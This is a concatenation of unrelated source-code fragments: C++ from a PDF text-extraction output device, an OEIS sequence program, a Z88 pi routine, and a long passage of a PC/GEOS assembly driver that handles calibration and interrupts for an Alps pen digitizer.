rx1 - rx0) { if (ry1 - ry0 < maxUnderlineWidth) { ry0 = 0.5 * (ry0 + ry1); text->addUnderline(rx0, ry0, rx1, ry0); } // skinny vertical rectangle } else { if (rx1 - rx0 < maxUnderlineWidth) { rx0 = 0.5 * (rx0 + rx1); text->addUnderline(rx0, ry0, rx0, ry1); } } } void TextOutputDev::eoFill(GfxState *state) { if (!doHTML) { return; } fill(state); } void TextOutputDev::processLink(AnnotLink *link) { double x1, y1, x2, y2; int xMin, yMin, xMax, yMax, x, y; if (!doHTML) { return; } link->getRect(&x1, &y1, &x2, &y2); cvtUserToDev(x1, y1, &x, &y); xMin = xMax = x; yMin = yMax = y; cvtUserToDev(x1, y2, &x, &y); if (x < xMin) { xMin = x; } else if (x > xMax) { xMax = x; } if (y < yMin) { yMin = y; } else if (y > yMax) { yMax = y; } cvtUserToDev(x2, y1, &x, &y); if (x < xMin) { xMin = x; } else if (x > xMax) { xMax = x; } if (y < yMin) { yMin = y; } else if (y > yMax) { yMax = y; } cvtUserToDev(x2, y2, &x, &y); if (x < xMin) { xMin = x; } else if (x > xMax) { xMax = x; } if (y < yMin) { yMin = y; } else if (y > yMax) { yMax = y; } text->addLink(xMin, yMin, xMax, yMax, link); } GBool TextOutputDev::findText(Unicode *s, int len, GBool startAtTop, GBool stopAtBottom, GBool startAtLast, GBool stopAtLast, GBool caseSensitive, GBool backward, GBool wholeWord, double *xMin, double *yMin, double *xMax, double *yMax) { return text->findText(s, len, startAtTop, stopAtBottom, startAtLast, stopAtLast, caseSensitive, backward, wholeWord, xMin, yMin, xMax, yMax); } GooString *TextOutputDev::getText(double xMin, double yMin, double xMax, double yMax) { return text->getText(xMin, yMin, xMax, yMax); } void TextOutputDev::drawSelection(OutputDev *out, double scale, int rotation, PDFRectangle *selection, SelectionStyle style, GfxColor *glyph_color, GfxColor *box_color) { text->drawSelection(out, scale, rotation, selection, style, glyph_color, box_color); } GooList *TextOutputDev::getSelectionRegion(PDFRectangle *selection, SelectionStyle style, double scale) { return text->getSelectionRegion(selection, style, scale); } GooString *TextOutputDev::getSelectionText(PDFRectangle *selection, SelectionStyle style) { return text->getSelectionText(selection, style); } GBool TextOutputDev::findCharRange(int pos, int length, double *xMin, double *yMin, double *xMax, double *yMax) { return text->findCharRange(pos, length, xMin, yMin, xMax, yMax); } void TextOutputDev::setMergeCombining(GBool merge) { text->setMergeCombining(merge); } #if TEXTOUT_WORD_LIST TextWordList *TextOutputDev::makeWordList() { return text->makeWordList(physLayout); } #endif TextPage *TextOutputDev::takeText() { TextPage *ret; ret = text; text = new TextPage(rawOrder); return ret; }
; A032927: Numbers whose set of base 6 digits is {1,2}. ; 1,2,7,8,13,14,43,44,49,50,79,80,85,86,259,260,265,266,295,296,301,302,475,476,481,482,511,512,517,518,1555,1556,1561,1562,1591,1592,1597,1598,1771,1772,1777,1778,1807,1808,1813,1814,2851,2852,2857,2858,2887,2888,2893,2894,3067,3068,3073,3074,3103,3104,3109,3110,9331,9332,9337,9338,9367,9368,9373,9374,9547,9548,9553,9554,9583,9584,9589,9590,10627,10628,10633,10634,10663,10664,10669,10670,10843,10844,10849,10850,10879,10880,10885,10886,17107,17108,17113,17114,17143,17144 mov $3,$0 mov $5,$0 add $5,1 lpb $5 mov $0,$3 sub $5,1 sub $0,$5 add $4,1 lpb $4 mov $2,2 sub $4,1 mov $6,0 lpb $0 mul $0,4 dif $0,8 sub $0,1 mul $2,6 add $6,$2 lpe lpe mov $2,$6 div $2,12 mul $2,4 add $2,1 add $1,$2 lpe mov $0,$1
; ; ; Z88 Maths Routines ; ; C Interface for Small C+ Compiler ; ; 30th August 2003 ; ; $Id: pi.asm,v 1.1 2003/08/30 18:24:04 dom Exp $ ;double pi(void) - returns the value of pi INCLUDE "#fpp.def" XLIB pi LIB stkequ2 .pi fpp(FP_PI) jp stkequ2
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Copyright (c) Geoworks 1994 -- All Rights Reserved PROJECT: PC GEOS MODULE: MOUSE DRIVER -- Alps Digitizer FILE: alpspen.asm AUTHOR: Jim Guggemos, Dec 6, 1994 ROUTINES: Name Description ---- ----------- REVISION HISTORY: Name Date Description ---- ---- ----------- JimG 12/ 6/94 Initial revision DESCRIPTION: Device-dependent support for Alps Digitizer $Id: alpspen.asm,v 1.1 97/04/18 11:48:08 newdeal Exp $ %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ include alpspenConstant.def ; Our constants include mouseCommon.asm ; Include common defns/code. include graphics.def include alpspenStructure.def ; Structures and enumerations include alpspenMacro.def ; Macros include alpspenVariables.def ; idata, udata, & strings stuff. ; Use the power driver to turn on and off the digitizer. ; UseDriver Internal/powerDr.def ; I'm tired of pretending.. let us shift bits with a constant other than one! .186 Resident segment resource COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% MouseDevInit %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Initialize the com port for the mouse CALLED BY: MouseInit PASS: DS=ES=dgroup RETURN: Carry clear if ok DESTROYED: DI PSEUDO CODE/STRATEGY: Figure out which port to use. Open it. The data format is specified in the DEF constants above, as extracted from the documentation. Return with carry clear. KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- ardeb 3/29/89 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ MouseDevInit proc far uses ax, bx, cx, dx, si, di, ds, bp .enter EC < ASSERT_SEG_IS_DGROUP ds > EC < ASSERT_SEG_IS_DGROUP es > ; Get calibration information from the ini file, or it will leave ; the defaults in the variables as initialized. Also, calculate ; some extra information for the hard icon detection. ; call MouseReadCalibrationFromIniFile call CalculateHardIconSpan EC < ASSERT_SEG_IS_DGROUP ds > EC < ASSERT_SEG_IS_DGROUP es > ; Ensure that the digitizer is stopped before we enable interrupts.. ; We don't want any data until we're ready. ; ALPS_STOP_DATA mov di, offset oldVector mov bx, segment MouseDevHandler mov cx, offset MouseDevHandler mov ax, DIGITIZER_IRQ_LEVEL call SysCatchDeviceInterrupt ; ; Enable the controller hardware to receive necessary interrupt ; mov dx, IC1_MASKPORT ; Assume controller 1 in al, dx ; Fetch current mask and al, not DIGITIZER_IRQ_MASK ; clear necessary bit out dx, al ; Store new mask ; SETTING UP THE ALPS DIGITIZER: ; ; AlpsInitialize resets the digitizer and sets some of the ; parameters. We need to then start the data flow and then read ; the data back before interrupts start. We won't get the first ; interrupt if we don't read back the data after sending the start ; command. call AlpsInitialize ; Set up the digitizer ; Start the data flow ALPS_START_DATA call AlpsReadRawData ; Need to call this to be sure we get ; valid data ; ; Register with the power driver so we can stop the digitizer before ; we suspend and restart it after we wake up ; call AlpsRegisterPowerDriver clc .leave ret MouseDevInit endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% MouseDevExit %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Close down. CALLED BY: MousePortExit PASS: DS = dgroup RETURN: Carry set if couldn't close the port (someone else was closing it (!)). DESTROYED: AX, BX, DI PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- ardeb 9/25/89 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ MouseDevExit proc far EC < ASSERT_SEG_IS_DGROUP ds > ; Tell the power driver to ignore us, we're leaving! ; call AlpsUnregisterPowerDriver ; Stop the device from sending data ALPS_STOP_DATA ; ; Close down the port...if it was ever opened, that is. ; segmov es, ds mov di, offset oldVector mov ax, DIGITIZER_IRQ_LEVEL call SysResetDeviceInterrupt ; ; Disable the controller hardware ; mov dx, IC1_MASKPORT ; Assume controller 1 in al, dx ; Fetch current mask or al, DIGITIZER_IRQ_MASK ; set necessary bit out dx, al ; Store new mask ret MouseDevExit endp categoryString char "mouse", 0 keyString char "calibration", 0 COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% MouseReadCalibrationFromIniFile %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Reads the calibration info from the ini file and stores in the dgroup variables. If the data does not exist in the ini file OR the data is not valid (wrong length), the values in dgroup will NOT be destroyed. CALLED BY: MouseDevInit MouseResetCalibration PASS: Nothing RETURN: carry - set if values were valid clear if values were hosed or didn't exist DESTROYED: ax, bx, cx, dx SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- JimG 5/16/95 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ MouseReadCalibrationFromIniFile proc near uses ds, di, bp, es, di .enter ; Read the data from the .INI file ; mov bp, 100 sub sp, bp segmov es, ss mov di, sp segmov ds, cs, cx mov si, offset categoryString mov dx, offset keyString call InitFileReadData cmc ; toggle return code from jnc done ; InitFileReadData because ; it is backwards from our ; return code. cmp cx, size AlpsCalibrationInfo EC < WARNING_NE ALPS_PEN_READ_GARBAGE_CALIBRATION_INFO_FROM_INI_FILE > clc ; return carry clear (error) jne done ; if size was incorrect ; Successful read from ini file.. store the info in the dgroup ; variables. ; segmov ds, es mov si, di mov di, segment dgroup mov es, di mov di, offset calibration rep movsb stc done: ; Preserve the flags around the stack restoration. ; lahf add sp, 100 sahf .leave ret MouseReadCalibrationFromIniFile endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% MouseWriteCalibrationToIniFile %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Stores the information from dgroup into the ini file. CALLED BY: MouseStopCalibration PASS: Nothing (Gets values from dgroup) RETURN: Nothing DESTROYED: nothing SIDE EFFECTS: Clears the "calibration changed" bit. PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- JimG 5/16/95 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ MouseWriteCalibrationToIniFile proc near uses cx, dx, es, di, ds, si, bp .enter mov di, segment dgroup mov es, di ; Since we are now writing the stuff to the ini file, clear the ; calibration changed bit. ; andnf es:[condFlags], not mask AF_CALIBRATION_CHANGED mov di, offset calibration segmov ds, cs, cx mov si, offset categoryString mov dx, offset keyString mov bp, size AlpsCalibrationInfo call InitFileWriteData call InitFileCommit .leave ret MouseWriteCalibrationToIniFile endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% MouseResetCalibration %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Attempts to reset calibration from the ini file. If none exists there, it restores the built-in default values. CALLED BY: MouseSetCalibrationPoints PASS: ds = dgroup RETURN: nothing DESTROYED: nothing SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- JimG 9/ 5/95 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ MouseResetCalibration proc near uses ax,bx,cx,dx .enter ; Try to read from ini file. ; call MouseReadCalibrationFromIniFile jc okayDokey ; No data stored in ini file, use built-in defaults. ; mov ds:[calibration].ACI_offset.P_x, DEFAULT_OFFSET_X mov ds:[calibration].ACI_offset.P_y, DEFAULT_OFFSET_Y mov ds:[calibration].ACI_scale.P_x, DEFAULT_SCALE_X mov ds:[calibration].ACI_scale.P_y, DEFAULT_SCALE_Y okayDokey: ; Clear the calibration changed bit since we obviously have reset ; this to the last saved state. ; andnf ds:[condFlags], not mask AF_CALIBRATION_CHANGED .leave ret MouseResetCalibration endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% MouseGetCalibrationPoints %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Get the calibration points CALLED BY: MouseStrategy (DR_MOUSE_GET_CALIBRATION_POINTS) PASS: dx:si = buffer holding up to MAX_NUM_CALIBRATION_POINTS RETURN: dx:si = buffer filled with calibration points cx = # of points DESTROYED: nothing SIDE EFFECTS: none PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- JimG 8/28/95 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ calibrationPointList AlpsCalibrationPointList \ < < CALIBRATION_UL_X, CALIBRATION_UL_Y >, \ < CALIBRATION_LL_X, CALIBRATION_LL_Y >, \ < CALIBRATION_UR_X, CALIBRATION_UR_Y >, \ < CALIBRATION_LR_X, CALIBRATION_LR_Y > > MouseGetCalibrationPoints proc near uses si,di,es,ds .enter mov es, dx ; es:di = destination mov di, si segmov ds, cs, si ; ds:si = source mov si, offset calibrationPointList mov cx, (size calibrationPointList)/2 ; cx = size words rep movsw ; Return number of points mov cx, (size calibrationPointList)/(size Point) .leave ret MouseGetCalibrationPoints endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% MouseSetCalibrationPoints %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Sets the calibration points for the digitizer. Calculates the scale and offset calibration information. Writes these changes to the ini file. CALLED BY: MouseStrategy (DR_MOUSE_SET_CALIBRATION_POINTS) PASS: dx:si = buffer holding points (AlpsCalibrationPointList) cx = # of calibration points ds = es = dgroup (Set by MouseStrategy) (If cx = 0, then the calibration information is reset from last state; either the ini file or the built-in defaults. dx:si is unused in this case.) RETURN: nothing DESTROYED: nothing SIDE EFFECTS: Writes to ini file PSEUDO CODE/STRATEGY: (Taken from bullet pen digitizer driver.. thanks for the comments, Todd!) The passed coords are in digitizer units, of course. Determine scale factors: NB: For this digitizer driver, the scale is in the following units: ((Display Units) / (Digitizer Units)) * 2048 X Scale: AverageLCoord == Average UL, LL x-coords AverageRCoord == Average UR, LR x-coords XRange = AverageRCoord - AverageLCoord XScale = (SCREEN_MAX_X-CALIBRATION_X_INSET*2)*2048 / XRange Y Scale: AverageUCoord == Average UL, UR y-coords AverageLCoord == Average LL, LR y-coords YRange = AverageLCoord - AverageUCoord YScale = (SCREEN_MAX_Y-CALIBRATION_Y_INSET*2)*2048 / YRange Next, determine offset: X Offset: DigitizerXInset = (CALIBRATION_UL_X * 2048) / XScale XOffset = UL-x-coordinate - DigitizerXInset Y Offset: DigitizerYInset = (CALIBRATION_UL_Y * 2048) / YScale YOffset = UL-y-coordinate - DigitizerYInset With any luck, this should work! REVISION HISTORY: Name Date Description ---- ---- ----------- JimG 8/28/95 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ MouseSetCalibrationPoints proc near uses ax,bx,cx,dx,si,di,bp tempXScale local word tempYScale local word .enter ; If CX=0, then reset the calibration to the last stored calibration ; in the ini file or to the built-in defaults. ; tst cx jnz noReset ; Read the defaults back from the ini file or use built-in defaults. ; call MouseResetCalibration jmp done noReset: ; If we don't have the number of points we expect, then blow this ; whole thing off.. in EC, give an error, otherwise just don't do ; anything since the driver API doesn't specify an error return ; value. ; cmp cx, (size calibrationPointList)/(size Point) EC < ERROR_NE ALPS_PEN_INCORRECT_NUMBER_OF_POINTS_IN_CALIBRATION > NEC < LONG jne done > mov es, dx ; es:si = buffer ; ; (1) Calculate X Scale ; ; ax = AverageLCoord mov ax, es:[si].ACPL_UL.P_x add ax, es:[si].ACPL_LL.P_x shr ax, 1 ; bx = AverageRCoord mov bx, es:[si].ACPL_UR.P_x add bx, es:[si].ACPL_LR.P_x shr bx, 1 ; bx = XRange (in digitizer coordinates, you know) sub bx, ax ; Sanity check: DigitizerMaxX / 4 <= XRange < DigitizerMaxX ; Prevent overflow, divide by zero, etc, etc.. ; cmp bx, DIGITIZER_MAX_X/4 EC < WARNING_L ALPS_PEN_CALIBRATION_POINTS_WAY_OUT_OF_RANGE > LONG jl done cmp bx, DIGITIZER_MAX_X EC < WARNING_GE ALPS_PEN_CALIBRATION_POINTS_WAY_OUT_OF_RANGE > LONG jge done mov ax, SCREEN_MAX_X - (CALIBRATION_X_INSET * 2) mov dx, ax shl ax, 11 shr dx, 5 ; dx:ax = dpy width * 2048 div bx ; divide by XRange ; Store XScale in temp variable mov ss:[tempXScale], ax ; ; (2) Calculate Y Scale ; ; ax = AverageUCoord mov ax, es:[si].ACPL_UL.P_y add ax, es:[si].ACPL_UR.P_y shr ax, 1 ; bx = AverageLCoord (L as in lower, that is) mov bx, es:[si].ACPL_LL.P_y add bx, es:[si].ACPL_LR.P_y shr bx, 1 ; bx = YRange (in digitizer coordinates, you know) sub bx, ax ; Sanity check: DigitizerMaxY / 4 <= YRange < DigitizerYaxX ; Prevent overflow, divide by zero, etc, etc.. ; cmp bx, DIGITIZER_MAX_Y/4 EC < WARNING_L ALPS_PEN_CALIBRATION_POINTS_WAY_OUT_OF_RANGE > jl done cmp bx, DIGITIZER_MAX_Y EC < WARNING_GE ALPS_PEN_CALIBRATION_POINTS_WAY_OUT_OF_RANGE > jge done mov ax, SCREEN_MAX_Y - (CALIBRATION_Y_INSET * 2) mov dx, ax shl ax, 11 shr dx, 5 ; dx:ax = dpy height * 2048 div bx ; divide by YRange ; Store YScale in temp variable mov ss:[tempYScale], ax ; ; (3) Calculate X Offset ; mov ax, CALIBRATION_UL_X mov dx, ax shl ax, 11 shr dx, 5 ; dx:ax = UL_X * 2048 div ss:[tempXScale] ; ax = DigitizerXInset mov bx, es:[si].ACPL_UL.P_x sub bx, ax ; bx = XOffset ; ; (4) Calculate Y Offset ; mov ax, CALIBRATION_UL_Y mov dx, ax shl ax, 11 shr dx, 5 ; dx:ax = UL_Y * 2048 div ss:[tempYScale] ; ax = DigitizerYInset neg ax add ax, es:[si].ACPL_UL.P_y ; ax = YOffset ; ; (5) Store calibration info in dgroup ; mov ds:[calibration].ACI_offset.P_x, bx mov ds:[calibration].ACI_offset.P_y, ax mov ax, ss:[tempXScale] mov ds:[calibration].ACI_scale.P_x, ax mov ax, ss:[tempYScale] mov ds:[calibration].ACI_scale.P_y, ax ; ; (6) Mark the calibration data as changed so it will be written out ; to the ini file when we stop calibration mode. ; ornf ds:[condFlags], mask AF_CALIBRATION_CHANGED done: .leave ret MouseSetCalibrationPoints endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% MouseStartCalibration %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Starts calibration. Basically this mode disables hard icons and stores the mouse points in dgroup to be returned by MouseGetRawCoordinates. CALLED BY: MouseStrategy (DR_MOUSE_START_CALIBRATION) PASS: ds = es = dgroup (Set by MouseStrategy) RETURN: nothing DESTROYED: nothing SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- JimG 8/28/95 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ MouseStartCalibration proc near .enter ; Turn on calibration mode ornf ds:[condFlags], mask AF_CALIBRATING ; Clear the calibration changed bit since it hasn't yet changed. andnf ds:[condFlags], not mask AF_CALIBRATION_CHANGED .leave ret MouseStartCalibration endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% MouseStopCalibration %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Stops calibration mode. Returns you to your regularly scheduled program. Also writes out calibration data to ini file if it has changed. CALLED BY: MouseStrategy (DR_MOUSE_STOP_CALIBRATION) PASS: ds = es = dgroup (Set by MouseStrategy) RETURN: nothing DESTROYED: nothing SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- JimG 8/28/95 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ MouseStopCalibration proc near .enter andnf ds:[condFlags], not mask AF_CALIBRATING ; If the calibration information has changed, then write out the new ; data to the ini file for "permanent storage". ; test ds:[condFlags], mask AF_CALIBRATION_CHANGED jz done ; Write out the new calibration data to ini file. This clears the ; "calibration changed" bit. ; call MouseWriteCalibrationToIniFile done: .leave ret MouseStopCalibration endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% MouseGetRawCoordinate %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Returns the raw coordinates for calibration CALLED BY: MouseStrategy (DR_MOUSE_GET_RAW_COORDINATE) PASS: ds = es = dgroup (Set by MouseStrategy) RETURN: carry: set ==> No point returned -- or -- clear ==> Point returned in: (ax, bx) = raw (uncalibrated) coordinates (cx, dx) = adjusted (calibrated) coordinates (unfortunately, if they are "off-screen", they are truncated). DESTROYED: nothing SIDE EFFECTS: PSEUDO CODE/STRATEGY: If not calibration, no point will be returned. REVISION HISTORY: Name Date Description ---- ---- ----------- JimG 8/28/95 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ MouseGetRawCoordinate proc near .enter ; Are we calibration? If not, set carry and return -- point isn't ; valid. ; test ds:[condFlags], mask AF_CALIBRATING stc jz done mov ax, ds:[lastRawPoint].P_x mov bx, ds:[lastRawPoint].P_y mov cx, ds:[lastDpyPoint].P_x mov dx, ds:[lastDpyPoint].P_y clc done: .leave ret MouseGetRawCoordinate endp ;------------------------------------------------------------------------------ ; RESIDENT DEVICE-DEPENDENT ROUTINES ;------------------------------------------------------------------------------ COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% MouseTestDevice %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Check for the existence of a device CALLED BY: DRE_TEST_DEVICE PASS: dx:si = pointer to null-terminated device name string RETURN: carry set if string is invalid carry clear if string is valid ax = DevicePresent enum in either case DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- ardeb 9/27/90 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ MouseTestDevice proc near .enter clc .leave ret MouseTestDevice endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% MouseSetDevice %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Turn on the device. CALLED BY: DRE_SET_DEVICE PASS: dx:si = pointer to null-terminated device name string RETURN: nothing DESTROYED: nothing PSEUDO CODE/STRATEGY: Just call the device-initialization routine in Init KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- ardeb 9/27/90 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ MouseSetDevice proc near .enter call MouseDevInit .leave ret MouseSetDevice endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% MouseDevHandler %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Handle the digitizer interrupt CALLED BY: Digitizer interrupt (currently IRQ1) PASS: Unknown RETURN: nothing DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- JimG 8/28/95 The version you see here %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ MouseDevHandler proc far uses ax, bx, cx, dx, si, di, bp, ds, es .enter ; Prevent thread switch for the duration of this routine. ; call SysEnterInterrupt cld mov dx, segment dgroup mov ds, dx if ERROR_CHECK ; Check to make sure that: ; 1) The 8259 has this IRQ marked "IN SERVICE" ; 2) That we are not entering this routine while in the process ; of handling a previous interrupt. ; push ax mov al, IC_READ_ISR out IC1_CMDPORT, al jmp $+2 ; Courteous delay jmp $+2 in al, IC1_CMDPORT test al, DIGITIZER_IRQ_MASK ERROR_Z ALPS_PEN_EXPECTED_IRQ_TO_BE_MARKED_IN_SERVICE tst ds:[reentryToHandler] ERROR_NZ ALPS_PEN_RECEIVED_INT_WHILE_PROCESSING_CURRENT_INT inc ds:[reentryToHandler] pop ax endif ;ERROR_CHECK INT_ON ; If the digitizer is stopped, or in calibrate mode or resetting, then ; this is garbage. ; mov dx, DIGITIZER_STATUS in al, dx test al, mask APS_STOP or mask APS_CALIBRATE_MODE or mask APS_RESET jnz exit ; Load the information from the I/O registers. ; call AlpsReadRawData ; Calculate the penCondition variable. Temporarily use ch to hold ; the value. ; clr ch ; Assume condition is pen up test cl, mask ASI_PEN_DOWN jz storePenCondition ; it is.. store pen up (0) in dgroup mov ch, ds:[penCondition] ; otherwise, get current value inc ch ; and increment it cmp ch, ACPC_PEN_STILL_DOWN ; If it is greater than PEN_STILL_DOWN, jle storePenCondition ; then don't set it, otherwise store ; the new value. penConditionHandled: ; Test to see if we the first pen down started in the hard icon bar. ; If so, then send all events to the hard icon handler part of this ; function. ; test ds:[condFlags], mask AF_START_IN_HARD_ICON_BAR jnz handlingHardIconEvent ; Convert raw coordinates to display coordinates. ; Will return: ; AX, BX = Raw coordinates X, Y (Preserved) ; DX, BP = Display coordinates X, Y (truncated to dpy min/max) ; Carry = Clear if on-screen, set if off-screen. ; call AlpsConvertRawToDisplay ; returns display coords in AX,BX pushf ; store carry flag for later ; If we are calibrating, then stash away the values for ; MouseGetRawCoordinate. Otherwise, there's no point in storing ; these values. ; test ds:[condFlags], mask AF_CALIBRATING jnz stashAwayValues afterStash: popf ; Carry flag from AlpsConvertRaw.. jc checkHardIcons ; Not on screen, check the hard icons hardIconsRejected: ; The pen is assumed to be the left button. ; Check if the pen is DOWN or UP. ; mov bh, not mask SB_LEFT_DOWN ; assume DOWN test cl, mask ASI_PEN_DOWN jnz sendMouseEvent mov bh, MouseButtonBits<1,1,1,1> ; Nope, it was UP sendMouseEvent: mov cx, dx ; cx = X display coord mov dx, bp ; dx = Y display coord ; Send the event ; CX = X, DX = Y, BH = MouseButtonBits call MouseSendEvents exit: ; <<-- EXIT POINT INT_OFF if ERROR_CHECK dec ds:[reentryToHandler] tst ds:[reentryToHandler] ERROR_NZ ALPS_PEN_RECEIVED_INT_WHILE_PROCESSING_CURRENT_INT endif ;ERROR_CHECK mov al, IC_GENEOI ;send the end of interrupt. mov dx, IC1_CMDPORT out dx, al call SysExitInterrupt .leave iret ; Called to store the current pen condition. ; Pass: ch = AlpsCurrentPenCondition ; Return: nothing ; Destroys: nothing ; storePenCondition: mov ds:[penCondition], ch jmp penConditionHandled ; Called to store away data for MouseGetRawCoordinate ; Pass: ax = Raw X, bx = Raw Y ; dx = Dpy X, bp = Dpy Y ; Return: nothing ; Destroys: nothing ; stashAwayValues: movdw ds:[lastRawPoint], bxax movdw ds:[lastDpyPoint], bpdx jmp afterStash ; This is reached whenever the pen moves off-screen. So, we need to ; decide if it is valid for a hard icon event. It 